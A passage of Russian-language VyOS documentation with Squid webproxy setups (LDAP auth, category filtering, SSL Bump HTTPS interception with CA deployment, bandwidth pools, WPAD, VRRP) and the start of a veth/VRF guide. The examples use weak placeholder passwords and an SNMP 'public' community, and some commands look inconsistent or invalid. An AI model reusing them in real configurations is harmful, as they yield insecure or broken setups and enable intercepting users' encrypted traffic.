set service webproxy authentication ldap bind-dn 'cn=squid-ldap,ou=ServiceAccounts,dc=corp,dc=local'
set service webproxy authentication ldap password 'LdapPassword123'
set service webproxy authentication ldap filter '(memberOf=cn=ProxyUsers,ou=Groups,dc=corp,dc=local)'
set service webproxy authentication ldap username-attribute sAMAccountName
set service webproxy authentication children 10
set service webproxy authentication realm "Corporate Internet Access"

# Фильтрация контента
run update webproxy blacklists
set service webproxy url-filtering squidguard block-category adult
set service webproxy url-filtering squidguard block-category gambling
set service webproxy url-filtering squidguard block-category malware
set service webproxy url-filtering squidguard block-category weapons
set service webproxy url-filtering squidguard log all

# Локальные исключения
set service webproxy url-filtering squidguard local-block-domain badsite.com
set service webproxy url-filtering squidguard local-ok-domain corpapp.local

# ACL - администраторы без ограничений
set service webproxy access-control admins source 192.168.10.0/24

# Обычные пользователи с фильтрацией
set service webproxy access-control users source 192.168.1.0/24

# Производительность и кэширование
set service webproxy refresh-patterns pattern \.jpg$ min 1440 percent 50 max 10080
set service webproxy refresh-patterns pattern \.png$ min 1440 percent 50 max 10080
set service webproxy refresh-patterns pattern \.gif$ min 1440 percent 50 max 10080
set service webproxy refresh-patterns pattern \.css$ min 1440 percent 80 max 10080
set service webproxy refresh-patterns pattern \.js$ min 1440 percent 80 max 10080

commit
save
```

**Настройка клиентов через GPO**:
1. Computer Configuration > Preferences > Control Panel Settings > Internet Settings
2. Proxy Settings: 192.168.1.1:3128
3. Bypass proxy for local addresses: Enable

**Мониторинг**:
```bash
# Активные подключения
show service webproxy connections

# Статистика кэша
show service webproxy cache-stats

# Последние заблокированные запросы
show log webproxy blocked tail 20
```

### 2. Прозрачный прокси для школы

**Задача**: Настроить прозрачный прокси с жесткой фильтрацией для учебного заведения.

```bash
# Прозрачный прокси
set service webproxy listen-address 192.168.100.1 port 3128
set service webproxy listen-address 192.168.100.1 transparent
set service webproxy cache-size 500

# NAT redirect
set nat destination rule 10 description 'Transparent proxy HTTP'
set nat destination rule 10 destination port 80
set nat destination rule 10 inbound-interface eth1
set nat destination rule 10 protocol tcp
set nat destination rule 10 translation address 192.168.100.1
set nat destination rule 10 translation port 3128

# Жесткая фильтрация для учащихся
run update webproxy blacklists
set service webproxy url-filtering squidguard block-category adult
set service webproxy url-filtering squidguard block-category gambling
set service webproxy url-filtering squidguard block-category games
set service webproxy url-filtering squidguard block-category social-media
set service webproxy url-filtering squidguard block-category streaming
set service webproxy url-filtering squidguard block-category weapons
set service webproxy url-filtering squidguard block-category drugs
set service webproxy url-filtering squidguard block-category violence
set service webproxy url-filtering squidguard block-category warez

# Whitelist образовательных ресурсов
set service webproxy url-filtering squidguard local-ok-domain edu.ru
set service webproxy url-filtering squidguard local-ok-domain uchi.ru
set service webproxy url-filtering squidguard local-ok-domain lecta.rosuchebnik.ru
set service webproxy url-filtering squidguard local-ok-domain resh.edu.ru

# Учителя имеют больше свободы
set service webproxy access-control teachers source 192.168.100.0/28
set service webproxy access-control teachers allow-category social-media
set service webproxy access-control teachers allow-category streaming

# Учащиеся - строгие ограничения
set service webproxy access-control students source 192.168.100.16/28
set service webproxy access-control students source 192.168.100.32/27

# Логирование всех запросов
set service webproxy url-filtering squidguard log all
set service webproxy access-log enable

# Страница блокировки
set service webproxy url-filtering squidguard redirect-url http://192.168.100.1/blocked.html

commit
save
```

**Создание страницы блокировки**:
```bash
# Создать простую HTML-страницу
sudo tee /var/www/html/blocked.html > /dev/null <<'EOF'
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Доступ заблокирован</title>
    <style>
        body { font-family: Arial, sans-serif; text-align: center; padding: 50px; }
        .container { max-width: 600px; margin: 0 auto; }
        h1 { color: #d32f2f; }
    </style>
</head>
<body>
    <div class="container">
        <h1>Доступ к ресурсу заблокирован</h1>
        <p>Запрошенный сайт заблокирован администрацией школы.</p>
        <p>Если вы считаете это ошибкой, обратитесь к системному администратору.</p>
    </div>
</body>
</html>
EOF

# Настроить веб-сервер для страницы блокировки
set service https listen-address 192.168.100.1
commit
save
```

### 3. Прокси с SSL Bump для корпоративной сети

**Задача**: Инспекция HTTPS-трафика для защиты от утечки данных и malware.

```bash
# Сгенерировать CA для SSL Bump
generate pki ca install ssl-intercept-ca cn "Corp SSL Proxy CA" org "Example Corp" country RU

# Экспортировать CA-сертификат
show pki ca ssl-intercept-ca pem

# Сохранить сертификат в файл для распространения через GPO
# (скопировать вывод в corp-proxy-ca.crt)

# HTTP прокси (обычный)
set service webproxy listen-address 192.168.1.1 port 3128

# HTTPS прокси с SSL Bump
set service webproxy listen-address 192.168.1.1 port 3129
set service webproxy ssl-bump enable
set service webproxy ssl-bump certificate ssl-intercept-ca

# Исключения из SSL Bump (банки, госуслуги, медицина)
set service webproxy ssl-bump exclude-domain online.sberbank.ru
set service webproxy ssl-bump exclude-domain www.vtb.ru
set service webproxy ssl-bump exclude-domain *.alfabank.ru
set service webproxy ssl-bump exclude-domain www.gosuslugi.ru
set service webproxy ssl-bump exclude-domain *.rosminzdrav.ru

# Прозрачный перехват
set nat destination rule 10 description 'Transparent HTTP proxy'
set nat destination rule 10 destination port 80
set nat destination rule 10 inbound-interface eth1
set nat destination rule 10 protocol tcp
set nat destination rule 10 translation address 192.168.1.1
set nat destination rule 10 translation port 3128

set nat destination rule 20 description 'Transparent HTTPS proxy (SSL Bump)'
set nat destination rule 20 destination port 443
set nat destination rule 20 inbound-interface eth1
set nat destination rule 20 protocol tcp
set nat destination rule 20 translation address 192.168.1.1
set nat destination rule 20 translation port 3129

# Аутентификация
set service webproxy authentication method ldap
set service webproxy authentication ldap server dc.corp.local
set service webproxy authentication ldap base-dn 'dc=corp,dc=local'
set service webproxy authentication ldap bind-dn 'cn=proxy-reader,cn=Users,dc=corp,dc=local'
set service webproxy authentication ldap password 'SecurePassword'
set service webproxy authentication ldap filter '(memberOf=cn=Internet Access,cn=Users,dc=corp,dc=local)'
set service webproxy authentication ldap username-attribute sAMAccountName

# Фильтрация
run update webproxy blacklists
set service webproxy url-filtering squidguard block-category malware
set service webproxy url-filtering squidguard block-category phishing
set service webproxy url-filtering squidguard block-category adult
set service webproxy url-filtering squidguard log all

# DLP - блокировать загрузку на файлообменники
set service webproxy url-filtering squidguard block-category file-sharing
set service webproxy url-filtering squidguard local-block-domain drive.google.com/upload
set service webproxy url-filtering squidguard local-block-domain www.dropbox.com/upload

# Производительность
set service webproxy cache-size 2000
set service webproxy mem-cache-size 256
set service webproxy maximum-client-connections 200

commit
save
```

**Развертывание CA-сертификата через GPO**:
1. Group Policy Management > Create new GPO > Edit
2. Computer Configuration > Policies > Windows Settings > Security Settings > Public Key Policies > Trusted Root Certification Authorities
3. Import > выбрать corp-proxy-ca.crt
4. Link GPO к OU с компьютерами

**Проверка на клиенте**:
```powershell
# PowerShell: проверить установленный CA
Get-ChildItem Cert:\LocalMachine\Root | Where-Object {$_.Subject -like "*Corp SSL Proxy CA*"}
```

### 4. Ограничение пропускной способности по группам

**Задача**: Разные лимиты скорости для отделов компании.

```bash
# Базовый прокси
set service webproxy listen-address 192.168.1.1 port 3128
set service webproxy cache-size 1000

# Создать delay pools для ограничения скорости
# Pool 1: Отдел продаж (высокая скорость) - 192.168.1.0/26
set service webproxy delay-pools pool 1 class 2
set service webproxy delay-pools pool 1 aggregate 10000/10000
set service webproxy delay-pools pool 1 individual 2000/2000
set service webproxy delay-pools pool 1 network 192.168.1.0/26

# Pool 2: Общий отдел (средняя скорость) - 192.168.1.64/26
set service webproxy delay-pools pool 2 class 2
set service webproxy delay-pools pool 2 aggregate 5000/5000
set service webproxy delay-pools pool 2 individual 1000/1000
set service webproxy delay-pools pool 2 network 192.168.1.64/26

# Pool 3: Производственный цех (низкая скорость) - 192.168.1.128/26
set service webproxy delay-pools pool 3 class 2
set service webproxy delay-pools pool 3 aggregate 2000/2000
set service webproxy delay-pools pool 3 individual 500/500
set service webproxy delay-pools pool 3 network 192.168.1.128/26

# Исключить видеоконференции из ограничений
set service webproxy delay-pools exclude-domain zoom.us
set service webproxy delay-pools exclude-domain teams.microsoft.com
set service webproxy delay-pools exclude-domain meet.google.com

commit
save
```

**Проверка скорости**:
```bash
# Посмотреть текущее использование delay pools
show service webproxy delay-pools

# Логи с информацией о скорости
show log webproxy access tail 50 | grep "HIER_DIRECT"
```

### 5. Интеграция с WPAD (Web Proxy Auto-Discovery)

**Задача**: Автоматическая настройка прокси для клиентов через DHCP и DNS.

```bash
# 1. Настроить DHCP с опцией WPAD
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option wpad-url 'http://wpad.corp.local/wpad.dat'

# 2. Настроить DNS для wpad.corp.local
set system static-host-mapping host-name wpad.corp.local inet 192.168.1.1

# 3. Создать wpad.dat файл (PAC - Proxy Auto-Config)
cat > /var/www/html/wpad.dat <<'EOF'
function FindProxyForURL(url, host) {
    // Локальные адреса - без прокси
    if (isPlainHostName(host) ||
        shExpMatch(host, "*.corp.local") ||
        isInNet(host, "192.168.0.0", "255.255.0.0") ||
        isInNet(host, "10.0.0.0", "255.0.0.0"))
        return "DIRECT";

    // Все остальное через прокси с резервным
    return "PROXY 192.168.1.1:3128; PROXY 192.168.1.2:3128; DIRECT";
}
EOF

# 4. Настроить веб-сервер для раздачи wpad.dat
set service https listen-address 192.168.1.1
set service https allow-client address 192.168.1.0/24

commit
save
```

**Проверка WPAD на клиенте**:
```bash
# Linux
curl http://wpad.corp.local/wpad.dat

# Windows PowerShell
Invoke-WebRequest -Uri http://wpad.corp.local/wpad.dat
```

### 6. Высокая доступность прокси (два сервера)

**Задача**: Два VyOS-прокси с синхронизацией конфигурации и VRRP.

**Router 1 (Master)**:
```bash
# VRRP для высокой доступности
set high-availability vrrp group PROXY vrid 10
set high-availability vrrp group PROXY interface eth1
set high-availability vrrp group PROXY virtual-address 192.168.1.100/24
set high-availability vrrp group PROXY priority 200

# Webproxy на виртуальном IP
set service webproxy listen-address 192.168.1.100 port 3128
set service webproxy cache-size 1000
set service webproxy mem-cache-size 128

# LDAP аутентификация
set service webproxy authentication method ldap
set service webproxy authentication ldap server dc.corp.local
set service webproxy authentication ldap base-dn 'dc=corp,dc=local'
set service webproxy authentication ldap bind-dn 'cn=proxy-reader,cn=Users,dc=corp,dc=local'
set service webproxy authentication ldap password 'SecurePassword'
set service webproxy authentication ldap username-attribute sAMAccountName

# Фильтрация
run update webproxy blacklists
set service webproxy url-filtering squidguard block-category adult
set service webproxy url-filtering squidguard block-category malware
set service webproxy url-filtering squidguard log all

commit
save
```

**Router 2 (Backup)**:
```bash
# VRRP backup
set high-availability vrrp group PROXY vrid 10
set high-availability vrrp group PROXY interface eth1
set high-availability vrrp group PROXY virtual-address 192.168.1.100/24
set high-availability vrrp group PROXY priority 100

# Идентичная конфигурация webproxy (скопировать с Router 1)
set service webproxy listen-address 192.168.1.100 port 3128
set service webproxy cache-size 1000
set service webproxy mem-cache-size 128

# ... остальная конфигурация идентична Router 1 ...

commit
save
```

**Синхронизация конфигурации**:
```bash
# На Router 1 - экспортировать конфигурацию webproxy
show configuration commands | grep webproxy

# Скопировать и применить на Router 2
```

**Настройка клиентов**:
- Прокси: 192.168.1.100:3128 (виртуальный IP VRRP)
- При отказе Master, Backup автоматически станет активным

**Проверка отказоустойчивости**:
```bash
# На Router 1 - посмотреть статус VRRP
show vrrp

# Симуляция отказа Master
set high-availability vrrp group PROXY disable

# На Router 2 должен переключиться статус на MASTER
```

## Мониторинг и диагностика

### Операционные команды

```bash
# Статус Squid
show service webproxy

# Активные подключения
show service webproxy connections

# Статистика кэша
show service webproxy cache-stats
# Вывод:
# Hit ratio: 35.2%
# Cached objects: 12453
# Cache size: 856 MB / 1000 MB

# Логи доступа (последние записи)
show log webproxy access tail 50

# Логи ошибок
show log webproxy error

# Заблокированные запросы (SquidGuard)
show log webproxy blocked tail 20

# Топ запрашиваемых доменов
show service webproxy top-domains

# Топ пользователей по трафику
show service webproxy top-users

# Использование delay pools
show service webproxy delay-pools
```

### Статистика LDAP-аутентификации

```bash
# Проверить подключение к LDAP
test service webproxy authentication ldap

# Логи аутентификации
show log webproxy authentication

# Количество аутентифицированных пользователей
show service webproxy users
```

### Анализ кэша

```bash
# Детальная статистика кэша
show service webproxy cache-info

# Объекты в кэше по типу
show service webproxy cache-objects

# Очистить кэш
clear service webproxy cache
```

### Мониторинг производительности

```bash
# Загрузка процессов Squid
show system processes | grep squid

# Использование памяти
show system memory

# Сетевые подключения к прокси
show system connections port 3128

# Пропускная способность
show interfaces eth1 statistics
```

## Устранение неполадок

### 1. Прокси не отвечает на запросы

**Симптомы**: Клиенты получают ошибку "Unable to connect to proxy server".

**Проверка**:
```bash
# Проверить, запущен ли Squid
show service webproxy
# Должен быть статус: running

# Проверить порт
show system connections port 3128 | grep LISTEN

# Проверить firewall
show firewall name WAN_LOCAL

# Логи ошибок
show log webproxy error tail 20
```

**Решение**:
```bash
# Перезапустить webproxy
restart service webproxy

# Проверить, есть ли ошибки конфигурации
show configuration service webproxy

# Проверить доступность с клиента
# (на клиенте)
telnet 192.168.1.1 3128
curl -x http://192.168.1.1:3128 http://example.com
```

### 2. LDAP аутентификация не работает

**Симптомы**: Пользователи не могут авторизоваться, постоянный запрос пароля.

**Проверка**:
```bash
# Проверить подключение к LDAP
test service webproxy authentication ldap

# Логи аутентификации
show log webproxy authentication tail 50

# Проверить настройки LDAP
show configuration service webproxy authentication ldap

# Проверить доступность DC
ping dc.corp.local
```

**Решение**:
```bash
# Проверить bind-dn и пароль
set service webproxy authentication ldap bind-dn 'cn=correct-user,ou=ServiceAccounts,dc=corp,dc=local'
set service webproxy authentication ldap password 'CorrectPassword'

# Проверить фильтр LDAP (может быть слишком жесткий)
set service webproxy authentication ldap filter '(objectClass=user)'

# Проверить базовый DN
set service webproxy authentication ldap base-dn 'dc=corp,dc=local'

# Увеличить количество процессов аутентификации
set service webproxy authentication children 10

# Перезапустить сервис
restart service webproxy

commit
save
```

**Тестирование LDAP вручную**:
```bash
# На VyOS установить ldap-utils
sudo apt-get update
sudo apt-get install ldap-utils

# Проверить LDAP-запрос
ldapsearch -x -H ldap://dc.corp.local -D "cn=proxy-reader,ou=ServiceAccounts,dc=corp,dc=local" -W -b "dc=corp,dc=local" "(sAMAccountName=testuser)"
```

### 3. SSL Bump вызывает ошибки сертификатов

**Симптомы**: Браузеры показывают предупреждения о недоверенном сертификате.

**Проверка**:
```bash
# Проверить, включен ли SSL Bump
show configuration service webproxy ssl-bump

# Посмотреть CA-сертификат
show pki ca webproxy-ca pem

# Проверить исключения
show configuration service webproxy ssl-bump exclude-domain
```

**Решение**:
```bash
# 1. Экспортировать CA-сертификат
show pki ca webproxy-ca pem > /tmp/proxy-ca.crt

# 2. Скопировать сертификат на клиенты и установить в доверенные CA

# Windows (PowerShell с правами администратора):
certutil -addstore -enterprise -f "Root" proxy-ca.crt

# Linux:
sudo cp proxy-ca.crt /usr/local/share/ca-certificates/
sudo update-ca-certificates

# macOS:
sudo security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain proxy-ca.crt

# 3. Добавить сайты в исключения, если SSL Bump мешает
set service webproxy ssl-bump exclude-domain problematic-site.com

commit
save
```

### 4. Низкая производительность прокси

**Симптомы**: Медленная загрузка страниц через прокси.

**Проверка**:
```bash
# CPU и память
show system resources

# Статистика кэша (hit ratio должен быть >30%)
show service webproxy cache-stats

# Количество активных подключений
show service webproxy connections | wc -l

# Задержки DNS
show service webproxy dns-stats
```

**Решение**:
```bash
# 1. Увеличить размер кэша
set service webproxy cache-size 2000
set service webproxy mem-cache-size 256

# 2. Увеличить лимиты подключений
set service webproxy maximum-client-connections 500

# 3. Оптимизировать refresh patterns для частых объектов
set service webproxy refresh-patterns pattern \.jpg$ min 1440 percent 50 max 10080
set service webproxy refresh-patterns pattern \.png$ min 1440 percent 50 max 10080
set service webproxy refresh-patterns pattern \.css$ min 1440 percent 80 max 43200
set service webproxy refresh-patterns pattern \.js$ min 1440 percent 80 max 43200

# 4. Добавить DNS-кэширование
set service dns forwarding cache-size 10000

# 5. Увеличить количество процессов аутентификации
set service webproxy authentication children 20

# 6. Настроить логирование только критичных событий
set service webproxy access-log disable

commit
save

# Перезапустить для применения изменений памяти
restart service webproxy
```

### 5. Прозрачный прокси не перехватывает трафик

**Симптомы**: Клиенты обходят прокси, веб-сайты открываются без фильтрации.

**Проверка**:
```bash
# Проверить NAT redirect
show nat destination

# Проверить прозрачный режим
show configuration service webproxy | grep transparent

# Проверить firewall (не блокирует ли порт 80/443)
show firewall
```

**Решение**:
```bash
# 1. Убедиться, что transparent включен
set service webproxy listen-address 192.168.1.1 transparent

# 2. Проверить NAT redirect для HTTP
set nat destination rule 10 destination port 80
set nat destination rule 10 inbound-interface eth1
set nat destination rule 10 protocol tcp
set nat destination rule 10 translation address 192.168.1.1
set nat destination rule 10 translation port 3128

# 3. Для HTTPS (если используется SSL Bump)
set nat destination rule 20 destination port 443
set nat destination rule 20 inbound-interface eth1
set nat destination rule 20 protocol tcp
set nat destination rule 20 translation address 192.168.1.1
set nat destination rule 20 translation port 3129

# 4. Убедиться, что NAT применяется до firewall
set firewall group network-group LAN_NETWORKS network 192.168.1.0/24

commit
save
```

**Проверка на клиенте**:
```bash
# Проверить, что запросы идут через прокси
# Linux
curl -v http://example.com
# Должен быть заголовок Via: squid

# Windows
nslookup example.com
# IP должен резолвиться через DNS форвардинг VyOS
```

### 6. SquidGuard блокирует нужные сайты

**Симптомы**: Корректные рабочие сайты блокируются фильтром контента.

**Проверка**:
```bash
# Посмотреть заблокированные запросы
show log webproxy blocked tail 50

# Проверить конфигурацию SquidGuard
show configuration service webproxy url-filtering squidguard
```

**Решение**:
```bash
# 1. Добавить домен в whitelist
set service webproxy url-filtering squidguard local-ok-domain worksite.com
set service webproxy url-filtering squidguard local-ok-url 'worksite.com/app'

# 2. Создать правило для определенной группы пользователей
set service webproxy url-filtering squidguard rule allow-managers source-group 192.168.1.0/28
set service webproxy url-filtering squidguard rule allow-managers allow social-media

# 3. Временно отключить категорию для тестирования
delete service webproxy url-filtering squidguard block-category problematic-category

# 4. Обновить базы категорий (может помочь при ложных срабатываниях)
run update webproxy blacklists

commit
save

# Перезапустить для применения изменений SquidGuard
restart service webproxy
```

## Интеграция с другими системами

### Zabbix - мониторинг прокси

```bash
# На VyOS включить SNMP для Zabbix
set service snmp community public authorization ro
set service snmp listen-address 192.168.1.1

commit
save
```

**Zabbix шаблон**:
- Squid Proxy Template (встроенный в Zabbix)
- Метрики: активные подключения, hit ratio кэша, количество объектов

**Пользовательский скрипт мониторинга**:
```bash
#!/bin/bash
# /config/scripts/squid-stats.sh
# Получить статистику Squid для Zabbix

case "$1" in
    connections)
        squidclient -p 3128 mgr:info | grep "Number of clients accessing cache" | awk '{print $NF}'
        ;;
    hit_ratio)
        squidclient -p 3128 mgr:info | grep "Request Hit Ratios" -A 2 | tail -1 | awk '{print $2}' | tr -d '%'
        ;;
    cache_size)
        squidclient -p 3128 mgr:storedir | grep "Current Size" | awk '{print $3}'
        ;;
esac
```

### Grafana - визуализация статистики

**Prometheus exporter для Squid**:
```bash
# На VyOS установить squid_exporter
sudo curl -L https://github.com/boynux/squid-exporter/releases/download/v1.10.4/squid-exporter-linux-amd64 -o /usr/local/bin/squid_exporter
sudo chmod +x /usr/local/bin/squid_exporter

# Создать systemd service
sudo tee /etc/systemd/system/squid-exporter.service > /dev/null <<EOF
[Unit]
Description=Squid Exporter for Prometheus
After=network.target

[Service]
Type=simple
User=nobody
ExecStart=/usr/local/bin/squid_exporter -squid-hostname localhost -squid-port 3128
Restart=on-failure

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable squid-exporter
sudo systemctl start squid-exporter
```

**Prometheus scrape config**:
```yaml
scrape_configs:
  - job_name: 'squid'
    static_configs:
      - targets: ['192.168.1.1:9301']
```

**Grafana Dashboard ID**: 12240 (Squid Proxy Metrics)

### SIEM интеграция (Splunk/ELK)

**Отправка логов в Splunk**:
```bash
# Настроить rsyslog для пересылки логов Squid
sudo tee -a /etc/rsyslog.d/50-squid.conf > /dev/null <<EOF
module(load="imfile")

input(type="imfile"
      File="/var/log/squid/access.log"
      Tag="squid-access"
      Severity="info"
      Facility="local6")

if $syslogtag == 'squid-access' then {
    action(type="omfwd"
           Target="splunk.corp.local"
           Port="514"
           Protocol="tcp")
}
EOF

sudo systemctl restart rsyslog
```

**ELK Stack - Logstash filter для Squid**:
```ruby
filter {
  if [type] == "squid" {
    grok {
      match => { "message" => "%{NUMBER:timestamp}%{SPACE}%{NUMBER:duration} %{IP:client_ip} %{WORD:squid_result}/%{NUMBER:http_code} %{NUMBER:bytes} %{WORD:http_method} %{NOTSPACE:url} %{NOTSPACE:user} %{WORD:hierarchy_code}/%{IP:server_ip} %{NOTSPACE:content_type}" }
    }
    date {
      match => [ "timestamp", "UNIX" ]
    }
    geoip {
      source => "server_ip"
    }
  }
}
```

## Лучшие практики

1. **Безопасность CA при SSL Bump**
   - Защитить приватный ключ CA паролем
   - Хранить CA на отдельном offline носителе
   - Ограничить использование SSL Bump только критичными случаями (DLP, malware inspection)
   - Информировать пользователей о политике мониторинга

2. **Производительность кэша**
   - Размер кэша: 100-200 МБ на пользователя
   - Память кэша: 10-20% от размера дискового кэша
   - Использовать SSD для кэша при >100 пользователях
   - Hit ratio >30% - хороший показатель

3. **LDAP аутентификация**
   - Использовать выделенную service account с минимальными правами
   - Не использовать personal account администратора
   - Кэшировать учетные данные (60-120 секунд)
   - Настроить failover на второй DC

4. **Фильтрация контента**
   - Регулярно обновлять базы категорий SquidGuard (weekly)
   - Использовать whitelist для критичных бизнес-приложений
   - Создать процедуру запроса на разблокировку сайта
   - Логировать все блокировки для аудита

5. **Прозрачный прокси**
   - Информировать пользователей о наличии прокси
   - Предоставить альтернативу (VPN) для исключенных устройств
   - Не использовать для критичных приложений без тестирования
   - Мониторить производительность DNS при прозрачном режиме

6. **High Availability**
   - Использовать VRRP для автоматического failover
   - Синхронизировать конфигурацию между узлами (automation)
   - Не синхронизировать кэш (каждый узел независим)
   - Использовать PAC-файл с несколькими прокси

7. **Логирование и аудит**
   - Хранить логи минимум 90 дней (в зависимости от требований)
   - Использовать centralized logging (syslog, ELK)
   - Регулярно анализировать топ доменов и пользователей
   - Настроить алерты на аномальную активность

8. **Bandwidth Management**
   - Приоритизировать бизнес-приложения (CRM, email)
   - Ограничивать стриминг и социальные сети в рабочее время
   - Исключать видеоконференции (Zoom, Teams) из ограничений
   - Мониторить эффективность delay pools

9. **Обновления и обслуживание**
   - Регулярно обновлять VyOS и Squid (security patches)
   - Тестировать обновления на резервном узле перед production
   - Делать backup конфигурации перед изменениями
   - Планировать maintenance windows для обновлений

10. **Мониторинг и алертинг**
    - Мониторить: CPU, память, hit ratio, количество подключений
    - Настроить алерты на недоступность прокси
    - Мониторить LDAP аутентификацию (количество отказов)
    - Использовать Grafana для визуализации трендов

## Заключение

Webproxy в VyOS на базе Squid предоставляет мощные возможности для управления веб-трафиком, обеспечения безопасности и оптимизации производительности корпоративных сетей. Правильная конфигурация прокси с кэшированием, аутентификацией, фильтрацией контента и высокой доступностью значительно улучшает безопасность, производительность и контроль за использованием интернета в организации.


---

# Virtual Ethernet (veth) интерфейсы в VyOS

Source: https://opennix.org/docs/vyos/interfaces/vyos-veth/



Virtual Ethernet (veth) интерфейсы в VyOS - это виртуальные сетевые устройства, которые всегда создаются парами и функционируют как виртуальный Ethernet кабель. Пакеты, отправленные на один конец пары, немедленно появляются на другом конце.

## Обзор

Virtual Ethernet интерфейсы используются для:

- **VRF Interconnection**: Соединение различных VRF таблиц маршрутизации
- **Network Namespaces**: Создание туннелей между изолированными сетевыми пространствами
- **Container Networking**: Подключение контейнеров к физической сети
- **Testing**: Тестирование сетевых конфигураций без физического оборудования
- **Cross-Domain Routing**: Маршрутизация между изолированными доменами
- **Service Chaining**: Построение цепочек сетевых сервисов

### Ключевые характеристики

| Характеристика | Описание |
|----------------|----------|
| Создание | Всегда парами (peer interfaces) |
| Уровень OSI | L2 и L3 (поддерживает оба) |
| Состояние | Зависит от peer интерфейса |
| Использование | VRF, namespaces, containers |
| Performance | Wire speed (kernel-level) |
| MTU | Настраивается (по умолчанию 1500) |

### veth vs другие виртуальные интерфейсы

| Интерфейс | Назначение | Парный | VRF Support |
|-----------|------------|--------|-------------|
| veth | Peer-to-peer туннель | Да | Да |
| dummy | Всегда up интерфейс | Нет | Да |
| loopback | Router ID, management | Нет | Нет |
| bridge | L2 switching | Нет | Нет |
| vlan | L2 сегментация | Нет | Да |

**Когда использовать veth**:
- Соединение VRF таблиц
- Межсетевое взаимодействие изолированных доменов
- Container/VM networking
- Network function chaining

**Когда использовать другие интерфейсы**:
- dummy: Тестирование, blackhole routing
- loopback: Router ID, stable endpoint
- bridge: L2 switching между портами
- vlan: Сегментация на одном физическом интерфейсе

## Базовая конфигурация

### Создание veth пары

Минимальная конфигурация требует указания peer интерфейса:

```bash
# Создание veth0 с peer veth1
set interfaces virtual-ethernet veth0 peer-name veth1
set interfaces virtual-ethernet veth0 address 192.0.2.1/24

# Автоматически создается veth1
set interfaces virtual-ethernet veth1 address 192.0.2.2/24

commit
save
```

Теперь veth0 и veth1 соединены как виртуальный кабель. Пакеты отправленные на veth0 появляются на veth1 и наоборот.

### Проверка состояния

```bash
show interfaces virtual-ethernet

# Вывод:
# veth0@veth1: <BROADCAST,MULTICAST,UP,LOWER_UP>
#     inet 192.0.2.1/24
# veth1@veth0: <BROADCAST,MULTICAST,UP,LOWER_UP>
#     inet 192.0.2.2/24
```

### Описание интерфейсов

```bash
set interfaces virtual-ethernet veth0 description 'VRF RED side'
set interfaces virtual-ethernet veth1 description 'VRF BLUE side'

commit
save
```

### Множественные IP адреса

```bash
# veth0 с несколькими адресами
set interfaces virtual-ethernet veth0 address 192.0.2.1/24
set interfaces virtual-ethernet veth0 address 10.0.0.1/30
set interfaces virtual-ethernet veth0 address 2001:db8::1/64

commit
save
```

### IPv6 конфигурация

```bash
# Dual-stack veth пара
set interfaces virtual-ethernet veth0 address 192.0.2.1/24
set interfaces virtual-ethernet veth0 address 2001:db8:1::1/64

set interfaces virtual-ethernet veth1 address 192.0.2.2/24
set interfaces virtual-ethernet veth1 address 2001:db8:1::2/64

commit
save
```

## VRF Interconnection

Основное использование veth - соединение различных VRF таблиц маршрутизации.

### Базовое VRF соединение

```bash
# Создание VRF таблиц
set vrf name RED table 100
set vrf name BLUE table 200

# Создание veth пары для межсоединения
set interfaces virtual-ethernet veth10 peer-name veth11
set interfaces virtual-ethernet veth10 address 100.64.0.0/31
set interfaces virtual-ethernet veth10 description 'RED to BLUE link'

set interfaces virtual-ethernet veth11 address 100.64.0.1/31
set interfaces virtual-ethernet veth11 vrf RED
set interfaces virtual-ethernet veth11 description 'BLUE to RED link'

# Или поместить veth10 в BLUE VRF
set interfaces virtual-ethernet veth10 vrf BLUE

commit
save
```

Теперь VRF RED и BLUE соединены через veth пару с адресами 100.64.0.0/31.

### Маршрутизация между VRF

```bash
# VRF конфигурация
set vrf name RED table 100
set vrf name BLUE table 200

# veth пара
set interfaces virtual-ethernet veth10 peer-name veth11
set interfaces virtual-ethernet veth10 address 100.64.0.0/31
set interfaces virtual-ethernet veth10 vrf BLUE

set interfaces virtual-ethernet veth11 address 100.64.0.1/31
set interfaces virtual-ethernet veth11 vrf RED

# Сети в VRF RED
set interfaces ethernet eth1 vrf RED
set interfaces ethernet eth1 address 192.168.10.1/24

# Сети в VRF BLUE
set interfaces ethernet eth2 vrf BLUE
set interfaces ethernet eth2 address 192.168.20.1/24

# Статические маршруты для межсоединения
set protocols vrf RED static route 192.168.20.0/24 next-hop 100.64.0.0
set protocols vrf BLUE static route 192.168.10.0/24 next-hop 100.64.0.1

commit
save
```

Теперь сети 192.168.10.0/24 (VRF RED) и 192.168.20.0/24 (VRF BLUE) могут взаимодействовать через veth туннель.

### Проверка VRF маршрутизации

```bash
# Проверка VRF таблиц
show vrf

# Таблица маршрутизации VRF RED
show ip route vrf RED

# Таблица маршрутизации VRF BLUE
show ip route vrf BLUE

# Ping между VRF (с указанием VRF)
ping 192.168.20.1 vrf RED
ping 192.168.10.1 vrf BLUE

# Traceroute между VRF
traceroute 192.168.20.1 vrf RED
```

### Множественные VRF соединения

```bash
# Создание трех VRF
set vrf name CUSTOMER-A table 100
set vrf name CUSTOMER-B table 200
set vrf name SHARED-SERVICES table 300

# veth пары для соединения CUSTOMER-A <-> SHARED-SERVICES
set interfaces virtual-ethernet veth10 peer-name veth11
set interfaces virtual-ethernet veth10 address 100.64.0.0/31
set interfaces virtual-ethernet veth10 vrf CUSTOMER-A

set interfaces virtual-ethernet veth11 address 100.64.0.1/31
set interfaces virtual-ethernet veth11 vrf SHARED-SERVICES

# veth пары для соединения CUSTOMER-B <-> SHARED-SERVICES
set interfaces virtual-ethernet veth20 peer-name veth21
set interfaces virtual-ethernet veth20 address 100.64.0.2/31
set interfaces virtual-ethernet veth20 vrf CUSTOMER-B

set interfaces virtual-ethernet veth21 address 100.64.0.3/31
set interfaces virtual-ethernet veth21 vrf SHARED-SERVICES

# Маршруты в CUSTOMER-A для доступа к SHARED-SERVICES
set protocols vrf CUSTOMER-A static route 10.255.255.0/24 next-hop 100.64.0.1

# Маршруты в CUSTOMER-B для доступа к SHARED-SERVICES
set protocols vrf CUSTOMER-B static route 10.255.255.0/24 next-hop 100.64.0.3

# Обратные маршруты в SHARED-SERVICES
set protocols vrf SHARED-SERVICES static route 192.168.100.0/24 next-hop 100.64.0.0  # To CUSTOMER-A
set protocols vrf SHARED-SERVICES static route 192.168.200.0/24 next-hop 100.64.0.2  # To CUSTOMER-B

commit
save
```

